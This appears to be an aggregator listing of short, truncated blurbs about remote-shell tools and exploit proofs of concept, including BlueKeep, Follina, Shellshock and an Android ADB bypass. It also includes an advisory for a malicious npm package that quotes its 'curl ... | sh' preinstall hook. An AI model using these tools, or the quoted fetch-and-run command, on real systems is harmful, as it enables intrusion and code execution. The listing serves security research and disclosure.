poet

poet A simple POst-Exploitation Tool. overview The client program runs on the target machine and is configured with an IP address the server to connect to and a frequency to connect at. If the server isn't running when the client tries to connect, the client quietly sleeps and tries again at the...

CVE-2019-0708-POC

CVE-2019-0708-POC Working proof of concept for CVE-2019-0708, spawns remote shell. Run with python3, Example python3 CVE-2019-0708-windows.py Different versions are required for linux and Windows. Obfuscated for obvious reasons...

ruler

Introducción Ruler es una herramienta que te permite interactuar con servidores Exchange de forma remota, a través del protocolo MAPI/HTTP o RPC/HTTP. El objetivo principal es abusar de las características del lado del cliente de Outlook y obtener una shell de forma remota. Todos los detalles sob...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Remote Shell Go-based exploit for CVE-2025-32433 returning a remote bash shell. Heavily inspired by understanding of exploit derived from ProDefense's PoC for CVE-2025-32433. Running the Exploit root@kitploit: make exploit.exe is also made available for Windows machines by the...

CVE-2018-16167

Installation and Execution Sequence 0. LogonTracer Installation Download the logontracer version 1.2.0, where a vulnerability was found, from dockerhub. root@kitploit: $docker pull jpcertcc/docker-logontracer:v1.2.0 1. LogonTracer Execution Launch it in a container with the following command...

CVE-2025-65817

CVE-2025-65817 Fields| Value ---|--- Titre| Vulnerability Report: LSC Smart Connect Camera Date| 2024-02-15 Description| Abusing the SD-card update hook to spawn remote shells on LSC Smart Connect cameras. Tags| iot, vulnerability, cve Firmware| 1.14.13 Vulnerability Report on LSC Smart Connect...

CGIShell

CGIShell shellshock CVE-2014-6271 CGI Exploit Use like OpenSSH via CGI Page Use python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Screenshot Dependence Windows needed pyreadline It is not needed chardet Future Add TestCase HTTP Login Support http transmission gzip compression chard...

CVE-2025-8088

POC for CVE 2025-8088 WinRAR -o...

hershell

Hershell NOTE: the project has been forked on this repo, check there for any other developments. Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception...

ibombshell

ibombshell - Shell Remota Dinámica root@kitploit: ,--.!, / -- / / / // / / / / ,d08b. '| / / / / / \ / / / / / 0088MM / / // / // / / / / / / // // / / / / / / 9MMP' ///// // //./// ///// + Starting the console... Console ready! ibombshell es una herramienta escrita en PowerShell que...

notionterm

notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...

tinyshell

tinyshell Small PHP shell, Controlled by Python Client , connecting over protocol method features connect with direct session with no need for reverse connection . support password protection . can be binded to any file with no damage . using GET/POST request with error handling . usage the proje...

CVE-2009-4623

CVE-2009-4623 Remote-Shell auf CVE-2009-4623: Erhalten Sie eine nicht-interaktive Shell, öffnen Sie eine weitere Shell für eine erweiterte Nutzung !!! Verwendung: CVE-2009-4623.sh hostnameandPath Beispiel: CVE-2009-4623.sh http://192.168.1.24/advancedcommentsystem/admin.php Optionen: -h dieser Kr...

follina_cve_2022-30190

follinacve2022-30190 Una prova di concetto per CVE-2022-30190 follina. root@kitploit: usage: exploit.py -h -u HOSTIP -p PORT -o OFILE -m server, create -s script | scriptfile.ps1 -r HOSTIP:PORT Follina Exploitation Toolkit options: -h, --help show this help message and exit -u HOSTIP, --host HOST...

MAL-2026-15508 Malicious code in grafeno-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...

Bluekeep-Metasploit-Lab-Project

Exploit di BlueKeep CVE-2019-0708 su Windows 7 Obiettivo Ottenere accesso remoto a un sistema Windows 7 non patchato tramite la vulnerabilità RDP BlueKeep usando Metasploit. Configurazione del Laboratorio Attaccante: Kali Linux Target: Windows 7 Non patchato, RDP abilitato Rete: NAT / Host-Only...

CVE-2026-0073-PoC-Exploit

🔓 CVE-2026-0073 - Bypass dell'autenticazione ADB Wireless Debugging di Android Zero-Click | Shell Remota | Scanner di Rete | Strumento Educativo di Ricerca sulla Sicurezza 🎯 Panoramica CVE-2026-0073 è una vulnerabilità critica di bypass dell'autenticazione nel demone ADB di Android che interessa...

CVE-2024-23346-rust-exploit

Ein Rust-Exploit-Skript für CVE-2024-23346. Wie unten gezeigt, nutzt der POC die Code-Injection-Sicherheitslücke und führt Remote-Shell-Befehle wie in einem Terminal aus. poc.webm Schritte zum Ausführen des Exploits: Direkt mit Cargo ausführen cargo run -- --help cargo run -- --target...

CVE-2019-0708-POC

CVE-2019-0708-POC Proof of concept funzionante per CVE-2019-0708, genera una shell remota. Eseguire con python3, Esempio python3 CVE-2019-0708-windows.py Versioni differenti sono richieste per Linux e Windows. Offuscato per ragioni ovvie...

CVE-2026-0073-Android-client-TLS-auth-bypass

CVE‑2026‑0073 是 Android ADB 守护进程（adbd）中的一个逻辑错误，允许攻击者绕过 TLS 双向认证，在已启用无线调试并且至少与某台计算机配对过一次的设备上打开远程 shell。根本原因是一个API的误用：OpenSSL 的 EVPPKEYcmp 返回值被当作布尔值处理，而实际上这是一个三值结果。 正常 ADB 无线调试的认证流程 当我们在 Android 开发者设置中启用无线调试时，设备会启动一个 adbd 实例，监听一个随机 TCP 端口。 注意：该功能从 Android 11 开始引入。 协议分为两个阶段： 1. 明文协商：主机通过 TCP 连接，交换...